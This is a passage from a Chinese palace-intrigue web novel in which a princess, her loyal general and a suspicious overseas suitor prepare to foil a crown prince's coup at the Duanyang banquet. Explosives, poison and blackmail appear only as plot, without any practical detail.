所以他潜伏八年,暗中布局,等待时机。
而现在,时机到了。
他要以最完美的姿态出现在她面前,成为她眼中的知己、盟友,甚至…未来的夫婿。
等取得她完全的信任后,再亲手将这一切撕碎。
那该是多么美妙的画面。
玄玦嘴角勾起一抹妖冶的笑,指尖在琴弦上重重一划,发出刺耳的铮鸣。
……
两日后,惊蛰将查到的情报呈给姜稚。
“公主,琅琊玄氏确有其族。”
“百年前玄氏因卷入前朝党争而败落,举族迁往海外。如今在南洋‘琉璃岛’定居,以海贸为生,富可敌国。”
“玄玦是这一代嫡长孙,精通经商、航海、乃至兵法谋略,在海外有‘无双公子’之称。”
姜稚翻阅着厚厚的资料,里面详细记载了玄家在海外的产业。
船队、商行…甚至还有一座私兵训练的岛屿。
“这些情报从何得来?”她问。
“一部分是通过咱们商行的海外渠道,另一部分…”惊蛰顿了顿,“是玄公子主动提供的。他说既然
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要合作,就当坦诚相待。”
姜稚闻言挑眉,这位玄公子,倒是有意思。
【要么是真的坦荡,要么就是自信到觉得我们查不出破绽。无论是哪种,都不简单。】
正思忖间,秋露进来通报:“公主,玄公子求见,说是有要事相告。”
“请他到书房。”
玄玦今日换了一身天青色长衫,更显清雅。
他来时,还带来了一卷账册。
“公主,这是在下来京途中,偶然截获的一批货物清单。”他将账册递给姜稚,“公主看看,可有什么发现?”
姜稚翻开账册,只看了一眼,脸色就变了。
这是一批从江南运往北疆的“药材”清单,但其中几味药材的用量和搭配,分明是炼制**的比例!
“这是?”她抬头看向玄玦。
“红莲教通过江南陈家,向匈奴走私**原料。”玄玦平静道,“在下截获这批货时,还抓了几个活口。”
“经审讯,他们供出一个消息。端阳节宫宴,太子不仅会逼宫,还会在宫中引爆**,制造混乱。”
姜稚将账册重重摔在案上。
好狠的计策!
在宫中引**药,不仅会造成大量伤亡,还会让皇室威严扫地。
届时太子再以“平乱”之名控制局面,就能名正言顺地登基。
“多谢玄公子告知。”她郑重道,“这份情报,对本宫非常重要。”
“能为公主分忧,是在下的荣幸。”玄玦微笑,“另外,关于新航线之事,在下已传信南洋,命船队即刻起程。最迟六月初,船队就能抵达登州。”
他顿了顿,忽然道:“公主,在下有一言,不知当讲不当讲。”
“公子但说无妨。”
玄玦直视她的眼睛:“公主如今处境艰难,外有太子虎视眈眈,内有世家掣肘。公主虽有雍王和镇北王支持,但终究是势单力薄。不知玄某是否有幸,能与公主携手,走向一段新的生活...”
他话未说完,但姜稚已明白了他的意思。
玄玦这是对她有意。
以玄家在海外的势力,两人若是走到一起,确实能成为她极大的后盾。
而且玄玦本人才华出众,风度翩翩,无论从哪个角度看,都是理想的联姻对象。
明明一道很简单的选择题,姜稚却第一次犯了难。
第148章 情敌献策,王爷心慌
书房内,姜稚沉默良久,才缓缓道:“玄公子的心意,本宫明白了。只是如今国事为重,婚事的话,本宫暂且还不考虑。”
玄玦也不强求,只微笑道:“是在下唐突了。公主且放心,无论婚事成与不成,玄家都会全力相助公主。只愿公主,能给在下一个机会。”
他说得诚恳,眼中是毫不掩饰的欣赏与倾慕。
姜稚心中复杂。
平心而论,玄玦确实是个很好的选择。
若在太平盛世,她或许会考虑。
但现在…
“本宫会把这个提议放在心里。”姜稚最终道。
送走玄玦后,姜稚独自站在窗前,心中纷乱。
而书房外,萧寒川握紧拳头,眼中翻涌着从未有过的情绪。
嫉妒。
愤怒。
还有…恐慌。
他怕姜稚真的会选择玄玦。
怕她为了大业,牺牲自己的幸福。
更怕,从此失去她。
“王爷?”惊蛰的声音让萧寒川回过神来。
他深吸一口气,推开书房门。
“稚儿,”他声音有些沙哑,“那个玄玦,你不可信。”
姜稚回头,看到萧寒川眼中的情绪,心中一颤:“大哥,你在外面都听见了?”
“是。”萧寒川上前一步,“此人来历不明,出现的时机又如此巧合,定是有所图谋。你不要被他蒙蔽。”
“我知道。”姜稚轻声道,“但我们现在确实需要助力。玄家的船队,玄玦的才华,都是我们急需的。”
“我可以帮你!”萧寒川急道,“龙渊军、镇北王旧部,还有我,都可以帮你!你不必靠一个来历不明的人!”
这话说得急切,甚至有些失态。
姜稚看着萧寒川的慌乱,脸上满是不解:“大哥,你这是怎么了?”
萧寒川一时语塞。
怎么了?他还能怎么了?
那句“因为我心悦你”几乎要脱口而出,但最终还是被他死死压住。
萧寒川还是没有吐露心声的勇气!
“我是你大哥。”他最终道,“我不能看着你往火坑里跳。”
姜稚眼中闪过一抹失望,但很快掩饰过去:“大哥放心,我有分寸。玄玦之事,我会小心应对。”
她转身望向窗外,声音很轻:“端阳节在即,一切,等过了端阳节再说吧。”
萧寒川看着姜稚单薄的背影,很想环住她的肩膀,告诉她不必一个人扛着所有事。
但最终,伸出的手停在半空中,然后无力落下。
萧寒川握紧了拳头,随后转身离开。
而此刻的听雪楼,玄玦站在窗前,手中把玩着一枚玉佩。
“萧寒川果然沉不住气了。”他轻笑,“也好,有他这个催化剂,我的计划会进行得更顺利。”
侍卫低声道:“尊者,端阳节那日,我们真的要帮姜稚吗?”
“帮,当然要帮。”玄玦眼中闪过算计,“不仅要帮,还要救她于危难之中。我要让她欠我人情,让她信任我,依赖我。等时机成熟,她就彻底逃离不了我的手掌心。”
他握紧玉佩,嘴角勾起一抹冰冷的笑。
“到时,我再亲手毁掉这一切。”
……
四月三十。
距离端阳节宫宴只剩五日,京城的气氛已紧绷到极致。
街市上虽依旧人流如织,但细心的百姓会发现,巡城的禁军比往日多了三成,且个个神色肃穆。
雍王府书房内,姜稚正面对一份艰难的选择。
桌案上摊开着两份方案。
一份是萧寒川提出的“雷霆**”:
调龙渊军入城,在端阳节前突击东宫,擒拿太子及其党羽,以武力强行终结这场阴谋。
另一份是玄玦提出的“引蛇出洞”:
按兵不动,任由太子在端阳节发动逼宫,待其罪行完全暴露后,再一举擒获,名正言顺地将其定罪。
“公主,”玄玦站在窗前,月白长衫在晨光中泛着温润光泽。
“太子谋逆,证据确凿。但若在宫宴前动手,难免落人口实,说他‘被逼谋反’。唯有让他将罪行展露在百官面前,才能永绝后患。”
姜稚沉默地翻阅着玄玦提供的太子的“黑料”。
那里面,不仅有太子私藏**的地点,甚至还有太子与匈奴往来的密信副本。
这些证据之详尽,令人心惊。
【他究竟是何方神圣?短短几日,竟能挖出这
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么多隐秘情报。若非真有通天之能,便是早就布局多年。】
此刻站在书房门外的萧寒川,听见了姜稚的心声。
他眼中闪过厉色,下一刻就想冲入房间,按住这个居心叵测的男子。
“玄公子,”姜稚终于开口,“你的情报确实详尽。但你可想过,若任由太子引**药,会造成多少无辜伤亡?”
玄玦目光平静:“伤亡是可以控制的。”
“在下已查明**埋藏的三处地点。只要提前派人拆除,便可化解危机。”
他从袖中取出一张宫城详图,上面精确标注了**位置:“公主只需派三队心腹,于端阳节前夜秘密拆除,太子之计便不攻自破。”
姜稚凝视着那张地图,心中震撼。
这图纸之精细,连宫墙厚度、巡逻路线都标注得一清二楚,绝非短时间内能绘制出来。
“玄公子,”她将视线缓缓落在玄玦身上,“你似乎,对宫中布局了如指掌。”
玄玦微微一笑:“在下家族虽迁居海外,但祖上曾为前朝工部侍郎,参与过宫城修建。家传的图纸,还算精准。”
这个解释看似合理,但姜稚心中的疑虑并未消散。
“公主若不信,”玄玦又道,“可先派人去查验御花园假山下的**。若挖不到,在下任凭处置。”
这话说得坦荡,反而让姜稚犹豫了。
不过,她现在确实需要确认情报的真实性。
“惊蛰,”她出声唤道,“带一队山影卫,按玄公子所说,去御花园查验。”
“是!”
惊蛰领命而去。
书房内陷入短暂沉默。
玄玦重新落座,从容品茶。
姜稚则低头看着那两份方案,心中权衡。
萧寒川的方案直接有效,但风险在于可能引发朝局动荡。
太子毕竟是储君,若无铁证就动武,恐遭天下非议。
玄玦的方案虽能名正言顺地除掉太子,但风险在于过程难以控制。
万一哪个环节出错,后果不堪设想。
【要是能结合两者就好了。但这需要精确到极致的配合,有点难办。】
正思忖间,书房门被推开,萧寒川大步走进。
第149章 拿私生子做文章
“稚儿。”萧寒川冲进书房。
他看也不看玄玦,径直走到姜稚面前,“你不能信他。”
玄玦放下茶盏,神色不变:“镇北王何出此言?”
“你的计划太过冒险。”萧寒川冷声道,“宫中局势复杂,稍有差池,便是万劫不复。本王不能拿稚儿的安危去赌。”
“那王爷的方案就稳妥吗?”玄玦反问,“突击东宫,必然引发血战。太子麾下死士众多,一旦狗急跳墙,伤亡只会更大。”
“况且王爷可想过,若无确凿证据就擒拿储君,天下人会如何议**主?”
两个男人的目光相撞,空气中仿佛有火花迸溅。
姜稚看着他们,忽然觉得有些头疼。
“两位,”她打断二人的对峙,“你们的方案都有可取之处,也都有风险。不如,听听我的想法?”
萧寒川和玄玦同时看向她。
姜稚起身走到地图前,拿起朱笔:“提前拆除**,确保宫宴安全。这一点,按玄公子的方案来。”
她在三处**点画上圈。
“而宫宴当日,太子必会发难。届时,我需要大哥率龙渊军在外围控制东宫卫队,防止他们冲入宫中。”
她在地图宫门外画了个箭头。
“最后,”姜稚看向玄玦,“我需要玄公子的船队帮个忙。”
“烦你在登州港口拦截一批货。”
玄玦挑眉:“什么货?”
“太子从江南走私的兵器和铠甲。”姜稚道,“这批货本该在五月初三运抵京城,供太子卫队使用。若能截获,等于断了太子的臂膀。”
玄玦眼中闪过赞赏:“公主思虑周全。玄家的船队正好在渤海巡弋,此事在下完全可以办到。”
“最关键的,还有一步,”姜稚深吸一口气,“我需要一个证人——一个能在百官面前,亲口指证太子谋逆的证人。”
“张猛?”萧寒川接话道。
“不够。”姜稚摇头,“张猛是禁军副统领,他的证词会被说成是‘被逼迫’。我需要一个,太子绝对想不到的人。”
随后,她缓缓吐出三个字:“李太医。”
此时,姜肃从茶室走出:“李太医?他不是被太子控制了吗?”
“正因如此,他的证词才最有分量。”姜稚坦言道。
“李太医负责为皇祖父诊治,最清楚太子的下毒计划。若能让他倒戈,太子谋害君父的罪名就坐实了。”
“但如何让李太医倒戈是个难题。此人胆小如鼠,又贪财好色,被太子拿住了把柄,恐怕不敢反水。”
姜稚的话,让姜肃和萧寒川都陷入沉思。
而玄玦忽然开口:“此事,在下或许能帮上忙。”
三人同时看向他。
玄玦从怀中取出一枚玉佩:“李太医有个秘密。”
“他在江南老家,还有个私生子。这事可能连太子都不知道。”
姜稚瞳孔一缩:“你是说…”
“那个孩子今年八岁,被李太医秘密养在苏州。”玄玦将玉佩放在桌上,“这是那孩子随身佩戴的玉佩,李太医一见便知。”
“公主只需派人告诉他,若他肯作证,保他儿子平安,若不肯…”
玄玦的话没有说完,但意思已经很清楚。
姜稚看着那枚玉佩,心中五味杂陈。
这手段虽不光彩,但确实有效。
“玄公子,”她沉声道,“你究竟还知道多少秘密?”
玄玦微笑:“公主需要的,在下恰好都知道。这,或许就是缘分吧。”
萧寒川脸色一沉,正要说什么,惊蛰匆匆回来了。
“公主,”她神色凝重,“御花园假山下,确实挖出了**!五十斤,用油布包裹着!”
此言一出,书房内气氛骤变。
姜肃看向玄玦的目光多了几分探究,而萧寒川的脸色则更加阴沉。
唯有姜稚,在最初的震惊后,反而平静下来。
“看来玄公子的情报无误。”她看向玄玦,“既如此,就按刚才商议的方案来。玄公子负责截获军械、联络李太医;大哥负责宫外围控;我负责宫中布置。”
她顿了顿,补充道:“端阳节前,我们分头准备。端阳节当日,一切自见分晓。”
“好!”二人齐声应道。
当日下午,城南听雪楼。
玄玦站在窗边,望着雍王府的方向,嘴
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角勾起一抹似笑非笑的弧度。
“尊者,”黑衣侍卫低声道,“您真要帮姜稚到这种地步?截获军械、策反李太医…这些都会削弱太子的力量。”
“削弱才好。”玄玦淡淡道,“太子若太强,一击必杀,还有什么意思?我要的是一场势均力敌的较量,要让他们两败俱伤,然后…”
他转身,眼中闪过妖异的光:“由我来收拾残局。”
侍卫不解:“可这样一来,姜稚岂不也会得益?”
“她得益,我才能更接近她。”玄玦抚摸着左眼角的朱砂痣,眼中是志在必得的光芒。
“等她完全信任我,等我成为她不可或缺的盟友,那距离我的目标就更近了一步,然后,我要她亲眼看着,她所珍视的一切,怎么在我手中一点点被毁掉。”
他想象着那个画面,笑容越发愉悦:“你说,当她发现,最信任的人其实是毁灭她一切的元凶时,会是什么表情?”
侍卫打了个寒战,低头不敢接话。
“去准备吧。”玄玦收敛笑容,“截获军械之事要办得漂亮,让姜稚看到我的价值。至于李太医那边…”
他取出一封信:“把这封信送到苏州,让那孩子写封亲笔信。李太医见了玉佩和他儿子的笔迹,自然会乖乖听话。”
“是!”
侍卫领命而去。玄玦重新望向窗外,喃喃自语:
“姜稚,很快你就会知道,谁才是最适合你的人。”
“而萧寒川…呵!一个武夫,也配与我争?”
同一时间,镇北王府。
萧寒川正在院中练剑。
剑光如雪,招招凌厉,却带着明显的烦躁。
陈凛站在一旁,欲言又止。
终于,一套剑法练完,萧寒川收剑入鞘,额上已见薄汗。
“王爷,”陈凛终于忍不住开口,“您这几日心神不宁,可是为了那位玄公子?”
姜寒川擦汗的手一顿,没有回答。
陈凛大着胆子道:“属下看得分明,那玄公子对公主有意,而公主,似乎也不排斥他。王爷若再不出手,恐怕…”
“住口!”萧寒川厉声打断,心中更是烦躁不堪。
第150章 镇北王要出手了?
镇北王府内。
萧寒川厉声打断陈凛的话,脸上已是乌云密布。
陈凛见状,急忙跪地请罪:“属下多嘴,请王爷赎罪!”
萧寒川看着跪在地上的心腹,良久,叹了口气:“起来吧。你说的,本王何尝不知。”
他走到石凳旁坐下,神色疲惫:“但如今局势危急,端阳节在即,不是谈儿女私情的时候。”
“可王爷,”陈凛起身,小心翼翼道,“正因局势危急,才更该表明心意。万一…万一公主真选了玄公子,王爷岂不是要后悔终生?”
这话瞬间戳中了萧寒川的心事。
他何尝不怕?
那日听到姜稚考虑玄玦的心声后,他几乎要冲进去将她带走,带到一个谁都找不到的地方,让她只属于他一个人。
但他不能。
她是大晟的镇国安宁公主,身后还有一个庞大的商业产业。
他不能那么自私。
“陈凛,”萧寒川忽然问,“你觉得,本王配得上她吗?”
陈凛一愣,随即正色道:“王爷战功赫赫,威震北疆,是大晟的擎天玉柱。公主才貌双全,心怀天下,是大晟的定海神针。您二位,是天造地设的一对!”
“可她未必这么想。”萧寒川苦笑,“在她眼中,我或许只是个能征善战的将军,可以倚重的盟友,却未必是...可以托付终身的人。”
这几年来,他看着稚儿从一个聪慧的小女孩,成长为如今光芒万丈的公主。
他为稚儿骄傲,却也感觉她离自己越来越远。
她需要的,是一个能和她并肩治国的伴侣,而不是一个只会打仗的武夫。
而玄玦…
那个男人深不可测,才华横溢,确实更符合她的需求。
这个认知让萧寒川心中刺痛。
“王爷,”陈凛忽然道,“属下有句话,不知当讲不当讲。”
“说便是,啰嗦什么。”
“公主需要的是一个能理解她抱负、支持她理想的人。而王爷您,这么些年来一直在北疆征战,可曾真正了解公主在想什么?”
“她要推行‘一条鞭法’,您懂税制吗?她要治理黄河,您懂水利吗?她要开辟新航线,您懂航海吗?”
一连串问题,问得萧寒川哑口无言。
陈凛继续道:“玄公子为何能这么快接近公主?因为他展现出了公主需要的能力。”
“王爷若想赢得公主的心,不能只靠过去的战功,还得让公主看到,您也能成为她治国路上的助力。”
这番话如醍醐灌顶,让萧寒川豁然开朗。
“陈凛,”他起身,眼中重新燃起斗志,“去将书房里那些兵书战策收起来。从今日起,本王也要读税制、读水利、读航海。”
他顿了顿:“还有,传令下去,让北疆的暗桩收集各地政情民情,特别是江南‘一条鞭法’的推行情况。本王要时刻掌握那边的情况。”
“是!”陈凛兴奋应道。
萧寒川望向雍王府的方向,握紧拳头。
……
四月三十,夜。
雍王府书房内,姜稚正在灯下写信。
信是写给江南各州县官员的,关于“一条鞭法”推行中的具体问题及解决方案。
她写得很专注,直到惊蛰进来添茶,才抬起头。
“公主,”惊蛰轻声道,“时辰不早了,该歇息了。”
姜稚揉了揉眉心:“还有几封信要写。端阳节前夕,江南的事必须立刻处理,不能耽误。”
惊蛰心疼地看着她眼下的青黑:“公主,您已经连熬三夜了。再这样下去,身子会撑不住的。”
“撑得住。”姜稚微笑,“等端阳节过了,有的是时间休息。”
她提起笔,正要继续写,忽然想起什么:“对了,玄公子那边有什么消息?”
“玄公子派人送来这个。”惊蛰递上一个木盒。
姜稚打开,里面是一卷海图,比上次那幅更加详尽,不仅标注了航线,还有沿途港口、补给点、甚至季风洋流信息。
海图旁还有一封信,字迹飘逸:
“公主殿下启鉴:新航线海图已绘毕,船队五日后可抵登州。”
“另,江南赈灾之策,
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在下有一愚见。可效仿前朝‘常平仓’制,于各州县设官仓,丰年储粮,荒年放赈,平抑粮价。具体章程附后。玄玦敬上。”
姜稚展开附后的章程,越看越惊讶。
这“常平仓”的构想极为精妙,不仅解决了赈灾问题,还能稳定粮价,防止商人囤积居奇。
【这个人…真是个治国之才。若能为大晟所用,实乃幸事。】
……
而此刻的东宫,太子姜诚也在挑灯夜战。
不过他不是在读治国之策,而是在看一张名单——
端阳节当日,需要“清除”的人员名单。
名单首位,赫然是“姜稚”二字。
“慕容玄那边有什么消息?”太子问。
幕僚低声道:“玄公子说,一切都按计划进行。**已埋好,死士已就位,李太医也会按时下药。只是,他再次强调,姜稚必须活捉。”
太子冷笑:“活捉?等本宫登基后,想怎么处置就怎么处置。现在口头上答应他又何妨?”
他提笔,在“姜稚”名字旁画了个圈:“这丫头必须死。她活着,本宫就坐不稳这个江山。”
“可玄公子那边…”
“放心,”太子眼中闪过狡诈,“朕会给他一个‘活’的姜稚——断手断脚、毒哑毒瞎的活人,也算是‘活捉’吧?”
幕僚听了不敢接话。
太子继续看名单,第二个名字是“萧寒川”。
“这个也要死。”他画了个叉,“北疆战神?呵,本宫要让他死在乱军之中,尸骨无存。”
第三个名字是“姜肃”。
“这个暂时留着。”太子沉吟,“毕竟在朝中还有些威势,杀了他影响不好。先软禁起来,等本宫坐稳江山,再慢慢处置。”
姜诚将名单看完,满意地放下笔。
五天后,这大晟江山,就是他的了。
至于那些绊脚石…
他眼中闪过狠厉:一个都别想活!
窗外,夜色深重。
五股不同的心思,在京城上空交织、碰撞。
而端阳节的钟声,已经近在耳边。
第151章 抓住李太医的“痛脚”
五月初三。
距离端阳节宫宴只剩两日。
此刻,往日热闹的街市更加清冷了。
巡城的禁军从三成增至五成,铠甲在阳光下泛着冷硬的光。
雍王府书房内,姜稚正对着一张名单做最后确认。
名单上列着端阳节当日需要重点监控的二十七人——
有官员,有侍卫,有乐师,还有三名太医。
“李太医那边如何了?”她头也不抬地问。
惊蛰低声道:“昨日玄公子派人将玉佩和信送到了李太医苏州的老宅。”
“今日一早,李太医的夫人就哭着进宫求见,但被东宫的人拦下了。现在李太医应该已经收到消息。”
姜稚点头。
这手段虽不光彩,但非常时期用非常手段。
李太医为人自私,为了儿子什么都肯做,这正是她需要的。
“玄公子那边还有什么消息吗?”
“玄公子今早派人送来这个。”惊蛰呈上一个锦盒。
姜稚打开,里面是一块染血的布条,布条上绑着一枚东宫护卫队千夫长的令牌。
里面还有一封信:
“公主殿下:渤海拦截已成功,击沉货船三艘,俘获叛军二百三十七人,缴获军械铠甲共计一千五百套。
俘虏供出,太子在京城另有四处秘密据点,名单附后。
另,登州船队已抵港,随时可支援京城。玄玦敬上。”
信后附着的名单上,详细列出了四处据点的位置、人数、首领姓名。
每一处都标注得清清楚楚,甚至连换岗时间都有。
姜稚握着这份名单,心中震撼。
玄玦果然不同凡响。
短短几日,他不仅成功拦截了军械,还挖出了太子隐藏的力量。
这样的助力,确实省了她不少力气。
【这个人,若是真心相助,该多好。可惜,越是完美,越是可疑。】
这心声传到隔壁茶室的姜肃耳中,他深以为然。
这几日他暗中派人核查玄玦的信息,发现此人的身世实在太过完美。
若此人真如调查的结果一致,真是一个海外归来的世家子,怎会对大晟朝局了如指掌?
而此刻在镇北王府的萧寒川,握着手中的《赋税论》,脸色阴沉。
这几日他强迫自己研读治国之策,试图拉近与姜稚的距离。
但玄玦的每次出手,都像是在提醒他——
你还差得远。
“王爷,”陈凛进来禀报,“韩猛将军的主力已抵达京城三十里外,按您的吩咐,驻扎在青石坡。”
萧寒川收敛心神:“周慎将军那边呢?”
“周将军率五千‘暗桩’已到五十里外,最迟明日黄昏入城。”陈凛顿了顿,“另外,属下查到一些关于玄玦的消息。”
萧寒川精神一振:“说。”
“琅琊玄氏确有其族,百年前迁居海外也不假。但…”陈凛压低声音,“玄玦这一支,与红莲教有些牵连。”
“什么?”萧寒川猛地站起。
“属下联络了北疆的暗桩,其中有人在南洋‘琉璃岛’见过玄玦。那时他不叫玄玦,而是,慕容玄!”
慕容玄!红莲教的尊者!
萧寒川握紧拳头,眼中闪过杀意。
果然如此!
他就知道那个男人有问题!
“可有确凿证据?”他沉声问。
“暂时没有。”陈凛摇头,“那人只是远远见过一面,不敢确定。但他说,慕容玄左眼角下有颗朱砂痣,与玄玦一模一样。”
朱砂痣…
姜寒川想起玄玦那张脸,确实有颗妖异的朱砂痣。
“王爷,要不要告诉公主?”陈凛问。
萧寒川沉默良久,缓缓摇头:“现在还不是时候。玄玦正在帮稚儿对付太子,若此时揭穿他,恐生变数。况且,我们没有确凿证据,稚儿未必会信。”
他太了解姜稚了。
她看似温婉,实则极有主见。
若没有铁证,她不会轻易怀疑一个帮了她大忙的人。
“那怎么办?”
“暗中监视,收集证据。”萧寒川眼神冰冷,“同时,做好最坏的打算。”
“若玄玦真是慕容玄,他的目的绝不仅仅是帮稚儿那么简单。”
他走到地图前,端详着地图上的标注:“端阳节当日,你率一千龙渊军,暗中包围听雪楼。若玄玦有异动,立刻擒拿,生死勿论。”
“是!”
陈凛领命而去。
萧寒川重新坐下,却再也看不进书。
稚儿,若你知道此刻信任的人,其实是最大的敌人,该有多伤心?
但他必须
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让稚儿看清真相。
……
五月初三,夜。
皇宫,太医院偏院。
李太医独自坐在药房内,手中握着一枚玉佩,浑身颤抖。
玉佩是他八年前亲手戴在儿子颈上的,上面刻着一个“安”字,取“平安”之意。
他这一生胆小懦弱,贪财好色,唯一的软肋就是这个私生子。
当年他将孩子秘密养在苏州,连太子都不知道,本以为万无一失,没想到…
“李太医。”一个声音在门口响起。
李太医吓得一哆嗦,玉佩差点掉在地上。
他抬头,看见一个黑衣侍卫站在门口,面生,但眼神却处处透着杀意。
“你、你是谁?”李太医声音发颤。
“我是谁不重要。”侍卫走进来,关上门,“重要的是,李太医想不想让儿子活命。”
李太医脸色煞白:“你们想把我儿子怎么样?”
“他现在很安全。”侍卫平静道,“只要你按我们说的做,端阳节后,你们父子就能团聚,还能得到一笔钱,远走高飞。”
“要我做什么?”李太医颤声问。
“很简单。”侍卫从怀中取出一包药粉,“端阳节宫宴上,只需要你把原来的那包药换成这个。”
“这是什么?”李太医问。
“能解‘相思引’的解药。”侍卫道,“虽不能根治陛下所中之毒,但能暂时压制毒性,让陛下在宫宴上保持清醒。”
李太医瞪大眼睛:“这…这若是被太子发现…”
“太子不会发现。”侍卫打断他,“宫宴上人多眼杂,你只需按计划行事。事成之后,我们定会保你全家平安。”
他顿了顿,声音转冷:“若你不从…明日你就能收到你儿子的一根手指。后日,是耳朵。大后日…”
“别说了!”李太医崩溃地捂住脸,“我做!我做就是了!”
侍卫将药粉放在桌上,转身就走。
等侍卫离开后,李太医瘫坐在椅子上,看着桌上的两包药粉,老泪纵横。
他这一生,为了荣华富贵,做了太多亏心事。
害过同僚,害过病人,甚至还要害过皇帝...
所以老天给了他惩罚,让他连儿子都保不住。
“报应…这都是报应啊!”他喃喃自语。
第152章 大战前夕,各怀鬼胎
听雪楼。
玄玦站在顶层窗前,手中把玩着一枚黑色令牌。
月光透过窗棂,在他脸上投下明暗交错的光影。
“尊者,”黑衣侍卫跪在身后,“李太医已经答应了。”
“很好。”玄玦嘴角勾起一抹笑,“姜稚果然还是用了这招。她比我想象的还要坚定。本性也跟我一样的狠,没有丝毫拖泥带水。不愧是我看重的人。”
“那我们要不要…”侍卫做了个抹脖子的手势。
“不。”玄玦摇头,“李太医还有用。端阳节那日,我需要他活着作证。证明太子谋害君父。”
他转身,月光照亮他左眼角的朱砂痣,红得妖异:“太子那边有什么动静?”
“太子已经确认**被拆除,但他以为是张猛走漏了风声,正在暗中排查内奸。”侍卫道。
“另外,他接到军械被截的消息,暴跳如雷,但箭在弦上他已不得不发,只能提前动用藏在城内的私兵。”
“多少人?”
“约八百人,分散在四个据点。按您的吩咐,名单已经‘不经意间’泄露给了安宁公主。”
玄玦满意地点头:“做得好。让太子和姜稚斗得两败俱伤,我们才能坐收渔利。”
他走到琴案前,指尖轻抚琴弦:“端阳节那日,你带三百死士埋伏在宫外。等太子的人冲进去后,你们再进去。”
“记住,首要目标是姜稚!必须活捉!”
“那太子呢?”
“太子?”玄玦轻笑,“一个蠢货,留着何用?等他杀了皇帝,我们再杀了他,岂不是名正言顺?”
侍卫心中一凛,低头应道:“是。”
玄玦拨动琴弦,弹出一段清冷的曲调。琴声中,他仿佛看到了端阳节那日的场景——
太子逼宫,皇帝“暴毙”,百官惊慌。
姜稚挺身而出,揭发太子罪行。
太子狗急跳墙,双方血战。
就在两败俱伤之际,他率红莲教死士杀入,控制全场…
届时,他会亲手擒下太子,救下姜稚,成为百官眼中的救世主。
然后,顺理成章地留在她身边,成为她最信任的人。
等她完全信任他,等她爱上他…
玄玦嘴角的笑意越发深邃。
姜稚,很快你就会知道,谁才是最适合你的人。
谁,才是能陪你走到最后的人。
琴声戛然而止。
玄玦收起令牌,眼中闪过志在必得的光芒。
……
五月初四,晨。
雍王府后园,姜稚与萧寒川在池塘边并肩而立。
晨雾未散,池面笼着一层薄纱,锦鲤在雾中若隐若现。
“大哥,”姜稚先开口,“明日就是端阳节了。”
“嗯。”萧寒川侧头看她。
晨光中,姜稚的眉眼柔和,但眼底有掩饰不住的疲惫,“你…准备好了吗?”
“该准备的都准备了。”姜稚轻声道,“**已拆除,李太医已策反,太子的秘密据点已监控,张猛那边也已安排妥当。现在,只能等明天了。”
她顿了顿,转头看向萧寒川:“大哥,明日若有不测…”
“不会有不测。”萧寒川打断她,“有我在,绝不会让你有事。”
他说得斩钉截铁,眼中是不容置疑的坚定。
姜稚心中一暖,但随即又涌起复杂的情绪。
这几日玄玦的出色表现,让她不得不重新考虑联姻的可能。而大哥…
她看着萧寒川坚毅的侧脸,心中轻叹。
二人之间突然无言。
“稚儿,”萧寒川忽然开口,打破寂静,“这几日我读了些书,《赋税论》《水利疏》《航海志》…以前觉得这些枯燥,现在读来,倒也别有洞天。”
姜稚一怔:“大哥怎么突然读这些?”
“因为想多了解你。”萧寒川直视她的眼睛,“想了解你在想什么,在做什么,在为什么奋斗。想成为…能真正帮到你的人。”
这话说得直白,姜稚心跳漏了一拍。
“大哥…”她张了张嘴,却不知该说什么。
萧寒川却笑了:“不必现在回答我。等端阳节过了,等大晟安定了,我们再好好谈。”
“现在,你只需知道,无论
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你做什么选择,我都支持你。无论你要走哪条路,我都陪你。”
萧寒川伸手,轻轻将姜稚肩头的一片落叶拂去,动作温柔的不再像是那个杀伐果断的北疆战神。
“稚儿,你记住,”他的声音很轻,却重如千钧,“这世上,没有人比我更希望你幸福。”
姜稚看着萧寒川眼中的深情,忽然眼眶一热。
她别过脸,看向池塘:“大哥,谢谢。”
谢谢你的守护,谢谢你的理解,谢谢你的…包容。
萧寒川没有再说话,只是静静站在姜稚的身边。
晨雾渐渐散去,阳光洒满池塘,锦鲤跃出水面,荡开一圈圈涟漪。
这一刻,岁月静好。
但他们都知道,平静之下,暗流汹涌。
明日,便是决战之日。
五月初四,夜。
东宫灯火通明,太子姜晟正在做最后的部署。
“明日巳时,宫宴开始。”他站在地图前,眼中闪着狂热的光。
“午时三刻,李太医会在父皇酒中下药。未时,父皇会‘突发急病’。届时,本宫以监国太子之名,宣布宫宴中止,护送父皇回寝宫。”
他手指点在地图上:“回寝宫的路上,经过御花园时,红莲教的死士会动手,制造混乱。”
“同时,张猛会打开宫门,放东宫卫队入宫。本宫会以‘平乱’为名,控制全场。”
幕僚们聚精会神地听着。
“控制全场后,”太子眼中闪过狠厉,“本宫会逼父皇写传位诏书,对外宣布,父皇急病驾崩,传位于本王。然后迅速清除所有反对者。”
“姜肃、萧寒川…这些人一个都不能留。”
姜诚最后深吸一口气:“诸位,成败在此一举。事成之后,你们都是从龙功臣,封侯拜相,指日可待!”
“愿为殿下效死!”幕僚们齐声应道。
太子满意地点头,端起酒杯:“来,满饮此杯,预祝明日大捷!”
“大捷!大捷!”
酒杯碰撞,酒液四溅。
没有人注意到,窗外屋檐下,一个黑影悄然离去。
第153章 端午到,风云起
五月初五,端阳。
寅时三刻,天还未亮,京城已从沉睡中苏醒。
今日是端阳宫宴,三品以上官员及命妇需卯时入宫,辰时开宴。
街道上马车络绎不绝,灯笼在晨雾中晕开朦胧的光。
雍王府门前,姜稚站在台阶上,一身杏黄宫装,裙摆绣着精致的五毒纹样,发髻高挽,戴一套赤金点翠头面。
晨光初露,在她周身镀上一层淡金色光晕。
“稚儿,”姜肃从府内走出,今日他穿着亲王**袍,腰佩玉带,神色肃穆,“都准备好了?”
姜稚点头,目光望向宫城方向:“爹爹,今日之后,大晟的天就要变了。”
姜肃握住女儿的手,发现她指尖冰凉:“稚儿,若事情有变故…”
“不会有变故的。”姜稚深吸一口气,眼中闪过坚定,“我们准备了这么久,不会输。”
林月瑶眼眶微红地为女儿理了理衣襟:“稚儿,你跟你爹一定要平安回来。”
“母亲放心。”姜稚微笑,转身登上马车。
车帘落下,隔绝了外界的视线。
姜稚靠在车厢内,闭目养神。
她看似平静,心中却在飞速盘算今日的每一个细节。
而此刻,萧寒川也整装待发。
他今日一身黑色劲装,外罩软甲,腰间佩剑,眉眼冷峻如刀。
他握紧缰绳,目光扫过街道两侧——
那里潜伏着三百龙渊军精锐,一旦宫中有变,他们会第一时间冲进去。
辰时初,宫门大开。
官员命妇们鱼贯而入,经过严格盘查后,进入乾元殿前的广场。
